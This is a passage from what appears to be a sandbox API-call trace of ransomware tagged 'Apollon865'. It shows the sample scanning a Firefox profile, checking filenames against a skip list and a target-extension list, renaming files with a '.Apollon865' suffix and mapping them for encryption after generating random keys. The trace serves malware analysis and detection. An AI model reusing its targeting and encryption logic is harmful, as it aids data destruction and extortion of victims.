	[0041.340] lstrlenW (lpString="Apollon865") returned 10
	[0041.340] lstrcmpiW (lpString1="onette.log", lpString2="Apollon865") returned 1
	[0041.340] lstrlenW (lpString=".dll") returned 4
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2=".dll") returned 1
	[0041.340] lstrlenW (lpString=".lnk") returned 4
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2=".lnk") returned 1
	[0041.340] lstrlenW (lpString=".ini") returned 4
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2=".ini") returned 1
	[0041.340] lstrlenW (lpString=".sys") returned 4
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2=".sys") returned 1
	[0041.340] lstrlenW (lpString="marionette.log") returned 14
	[0041.340] lstrlenW (lpString="bak") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0041.340] lstrlenW (lpString="ba_") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0041.340] lstrlenW (lpString="dbb") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0041.340] lstrlenW (lpString="vmdk") returned 4
	[0041.340] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0041.340] lstrlenW (lpString="rar") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0041.340] lstrlenW (lpString="zip") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0041.340] lstrlenW (lpString="tgz") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0041.340] lstrlenW (lpString="vbox") returned 4
	[0041.340] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0041.340] lstrlenW (lpString="vdi") returned 3
	[0041.340] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0041.342] lstrlenW (lpString="vhd") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0041.343] lstrlenW (lpString="vhdx") returned 4
	[0041.343] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0041.343] lstrlenW (lpString="avhd") returned 4
	[0041.343] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0041.343] lstrlenW (lpString="db") returned 2
	[0041.343] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0041.343] lstrlenW (lpString="db2") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0041.343] lstrlenW (lpString="db3") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0041.343] lstrlenW (lpString="dbf") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0041.343] lstrlenW (lpString="mdf") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0041.343] lstrlenW (lpString="mdb") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0041.343] lstrlenW (lpString="sql") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0041.343] lstrlenW (lpString="sqlite") returned 6
	[0041.343] lstrcmpiW (lpString1="te.log", lpString2="sqlite") returned 1
	[0041.343] lstrlenW (lpString="sqlite3") returned 7
	[0041.343] lstrcmpiW (lpString1="tte.log", lpString2="sqlite3") returned 1
	[0041.343] lstrlenW (lpString="sqlitedb") returned 8
	[0041.343] lstrcmpiW (lpString1="ette.log", lpString2="sqlitedb") returned -1
	[0041.343] lstrlenW (lpString="xml") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0041.343] lstrlenW (lpString="$er") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0041.343] lstrlenW (lpString="4dd") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0041.343] lstrlenW (lpString="4dl") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0041.343] lstrlenW (lpString="^^^") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0041.343] lstrlenW (lpString="abs") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0041.343] lstrlenW (lpString="abx") returned 3
	[0041.343] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0041.344] lstrlenW (lpString="accdb") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accdb") returned 1
	[0041.344] lstrlenW (lpString="accdc") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accdc") returned 1
	[0041.344] lstrlenW (lpString="accde") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accde") returned 1
	[0041.344] lstrlenW (lpString="accdr") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accdr") returned 1
	[0041.344] lstrlenW (lpString="accdt") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accdt") returned 1
	[0041.344] lstrlenW (lpString="accdw") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accdw") returned 1
	[0041.344] lstrlenW (lpString="accft") returned 5
	[0041.344] lstrcmpiW (lpString1="e.log", lpString2="accft") returned 1
	[0041.344] lstrlenW (lpString="adb") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0041.344] lstrlenW (lpString="adb") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0041.344] lstrlenW (lpString="ade") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0041.344] lstrlenW (lpString="adf") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0041.344] lstrlenW (lpString="adn") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0041.344] lstrlenW (lpString="adp") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0041.344] lstrlenW (lpString="alf") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0041.344] lstrlenW (lpString="ask") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0041.344] lstrlenW (lpString="btr") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0041.344] lstrlenW (lpString="cat") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0041.344] lstrlenW (lpString="cdb") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0041.344] lstrlenW (lpString="ckp") returned 3
	[0041.344] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0041.344] lstrlenW (lpString="cma") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0041.345] lstrlenW (lpString="cpd") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0041.345] lstrlenW (lpString="dacpac") returned 6
	[0041.345] lstrcmpiW (lpString1="te.log", lpString2="dacpac") returned 1
	[0041.345] lstrlenW (lpString="dad") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0041.345] lstrlenW (lpString="dadiagrams") returned 10
	[0041.345] lstrcmpiW (lpString1="onette.log", lpString2="dadiagrams") returned 1
	[0041.345] lstrlenW (lpString="daschema") returned 8
	[0041.345] lstrcmpiW (lpString1="ette.log", lpString2="daschema") returned 1
	[0041.345] lstrlenW (lpString="db-journal") returned 10
	[0041.345] lstrcmpiW (lpString1="onette.log", lpString2="db-journal") returned 1
	[0041.345] lstrlenW (lpString="db-shm") returned 6
	[0041.345] lstrcmpiW (lpString1="te.log", lpString2="db-shm") returned 1
	[0041.345] lstrlenW (lpString="db-wal") returned 6
	[0041.345] lstrcmpiW (lpString1="te.log", lpString2="db-wal") returned 1
	[0041.345] lstrlenW (lpString="dbc") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0041.345] lstrlenW (lpString="dbs") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0041.345] lstrlenW (lpString="dbt") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0041.345] lstrlenW (lpString="dbv") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0041.345] lstrlenW (lpString="dbx") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0041.345] lstrlenW (lpString="dcb") returned 3
	[0041.345] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0041.345] lstrcpyW (in: lpString1=0x2d3e600, lpString2="mimeTypes.rdf" | out: lpString1="mimeTypes.rdf") returned="mimeTypes.rdf"
	[0041.345] lstrlenW (lpString="mimeTypes.rdf") returned 13
	[0041.345] lstrlenW (lpString="Apollon865") returned 10
	[0041.345] lstrcmpiW (lpString1="eTypes.rdf", lpString2="Apollon865") returned 1
	[0041.346] lstrlenW (lpString=".dll") returned 4
	[0041.346] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2=".dll") returned 1
	[0041.346] lstrlenW (lpString=".lnk") returned 4
	[0041.346] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2=".lnk") returned 1
	[0041.346] lstrlenW (lpString=".ini") returned 4
	[0041.346] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2=".ini") returned 1
	[0041.346] lstrlenW (lpString=".sys") returned 4
	[0041.346] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2=".sys") returned 1
	[0041.346] lstrlenW (lpString="mimeTypes.rdf") returned 13
	[0041.346] lstrcpyW (in: lpString1=0x2d3e600, lpString2="minidumps" | out: lpString1="minidumps") returned="minidumps"
	[0041.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0041.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc4) returned 0x599bd8
	[0041.346] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0041.346] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80696ec0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="Apollon865.txt.exe") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2=".") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="..") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="windows") returned -1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="bootmgr") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="temp") returned -1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="pagefile.sys") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="boot") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="ids.txt") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="ntuser.dat") returned 1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="perflogs") returned -1
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2="MSBuild") returned 1
	[0041.346] lstrlenW (lpString="parent.lock") returned 11
	[0041.346] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps") returned 97
	[0041.346] lstrcpyW (in: lpString1=0x2d3e600, lpString2="parent.lock" | out: lpString1="parent.lock") returned="parent.lock"
	[0041.346] lstrlenW (lpString="parent.lock") returned 11
	[0041.346] lstrlenW (lpString="Apollon865") returned 10
	[0041.346] lstrcmpiW (lpString1="arent.lock", lpString2="Apollon865") returned 1
	[0041.346] lstrlenW (lpString=".dll") returned 4
	[0041.346] lstrcmpiW (lpString1="parent.lock", lpString2=".dll") returned 1
	[0041.346] lstrlenW (lpString=".lnk") returned 4
	[0041.347] lstrcmpiW (lpString1="parent.lock", lpString2=".lnk") returned 1
	[0041.347] lstrlenW (lpString=".ini") returned 4
	[0041.347] lstrcmpiW (lpString1="parent.lock", lpString2=".ini") returned 1
	[0041.347] lstrlenW (lpString=".sys") returned 4
	[0041.347] lstrcmpiW (lpString1="parent.lock", lpString2=".sys") returned 1
	[0041.347] lstrlenW (lpString="parent.lock") returned 11
	[0041.347] lstrcpyW (in: lpString1=0x2d3e600, lpString2="permissions.sqlite" | out: lpString1="permissions.sqlite") returned="permissions.sqlite"
	[0041.347] lstrlenW (lpString="permissions.sqlite") returned 18
	[0041.347] lstrlenW (lpString="Apollon865") returned 10
	[0041.347] lstrcmpiW (lpString1="ons.sqlite", lpString2="Apollon865") returned 1
	[0041.347] lstrlenW (lpString=".dll") returned 4
	[0041.347] lstrcmpiW (lpString1="permissions.sqlite", lpString2=".dll") returned 1
	[0041.347] lstrlenW (lpString=".lnk") returned 4
	[0041.347] lstrcmpiW (lpString1="permissions.sqlite", lpString2=".lnk") returned 1
	[0041.347] lstrlenW (lpString=".ini") returned 4
	[0041.347] lstrcmpiW (lpString1="permissions.sqlite", lpString2=".ini") returned 1
	[0041.347] lstrlenW (lpString=".sys") returned 4
	[0041.347] lstrcmpiW (lpString1="permissions.sqlite", lpString2=".sys") returned 1
	[0041.347] lstrlenW (lpString="permissions.sqlite") returned 18
	[0041.347] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.Apollon865") returned 117
	[0041.347] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0041.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0041.348] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65536) returned 1
	[0041.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0041.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0041.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0041.348] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0041.349] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0041.349] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.349] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x154
	[0041.353] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x120000
	[0041.474] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0041.475] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0041.475] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.476] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0041.476] CloseHandle (hObject=0x154) returned 1
	[0041.477] CloseHandle (hObject=0x158) returned 1
	[0041.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0041.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0041.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0041.479] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4c1a3d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4c1a3d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x82b58970, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa00000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2=".") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="..") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="windows") returned -1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="bootmgr") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="temp") returned -1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="pagefile.sys") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="boot") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="ids.txt") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="ntuser.dat") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="perflogs") returned 1
	[0041.479] lstrcmpiW (lpString1="places.sqlite", lpString2="MSBuild") returned 1
	[0041.479] lstrlenW (lpString="places.sqlite") returned 13
	[0041.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite") returned 106
	[0041.479] lstrcpyW (in: lpString1=0x2d3e600, lpString2="places.sqlite" | out: lpString1="places.sqlite") returned="places.sqlite"
	[0041.479] lstrlenW (lpString="places.sqlite") returned 13
	[0041.479] lstrlenW (lpString="Apollon865") returned 10
	[0041.480] lstrcmpiW (lpString1="ces.sqlite", lpString2="Apollon865") returned 1
	[0041.480] lstrlenW (lpString=".dll") returned 4
	[0041.480] lstrcmpiW (lpString1="places.sqlite", lpString2=".dll") returned 1
	[0041.480] lstrlenW (lpString=".lnk") returned 4
	[0041.480] lstrcmpiW (lpString1="places.sqlite", lpString2=".lnk") returned 1
	[0041.480] lstrlenW (lpString=".ini") returned 4
	[0041.480] lstrcmpiW (lpString1="places.sqlite", lpString2=".ini") returned 1
	[0041.480] lstrlenW (lpString=".sys") returned 4
	[0041.480] lstrcmpiW (lpString1="places.sqlite", lpString2=".sys") returned 1
	[0041.480] lstrlenW (lpString="places.sqlite") returned 13
	[0041.480] lstrlenW (lpString="bak") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0041.480] lstrlenW (lpString="ba_") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0041.480] lstrlenW (lpString="dbb") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0041.480] lstrlenW (lpString="vmdk") returned 4
	[0041.480] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0041.480] lstrlenW (lpString="rar") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0041.480] lstrlenW (lpString="zip") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0041.480] lstrlenW (lpString="tgz") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0041.480] lstrlenW (lpString="vbox") returned 4
	[0041.480] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0041.480] lstrlenW (lpString="vdi") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0041.480] lstrlenW (lpString="vhd") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0041.480] lstrlenW (lpString="vhdx") returned 4
	[0041.480] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0041.480] lstrlenW (lpString="avhd") returned 4
	[0041.480] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0041.480] lstrlenW (lpString="db") returned 2
	[0041.480] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0041.480] lstrlenW (lpString="db2") returned 3
	[0041.480] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0041.480] lstrlenW (lpString="db3") returned 3
	[0041.481] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0041.481] lstrlenW (lpString="dbf") returned 3
	[0041.481] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0041.481] lstrlenW (lpString="mdf") returned 3
	[0041.481] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0041.481] lstrlenW (lpString="mdb") returned 3
	[0041.481] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0041.481] lstrlenW (lpString="sql") returned 3
	[0041.481] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0041.481] lstrlenW (lpString="sqlite") returned 6
	[0041.481] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0041.481] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.Apollon865") returned 112
	[0041.481] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0041.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0041.629] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10485760) returned 1
	[0041.629] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0041.629] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0041.629] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0041.629] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0041.630] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0041.630] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.631] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00300, lpName=0x0) returned 0x154
	[0041.632] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0041.633] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3480000
	[0042.175] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0042.176] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.176] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0042.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0042.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0042.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x59a188
	[0042.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a188 | out: hHeap=0x580000) returned 1
	[0042.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.177] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
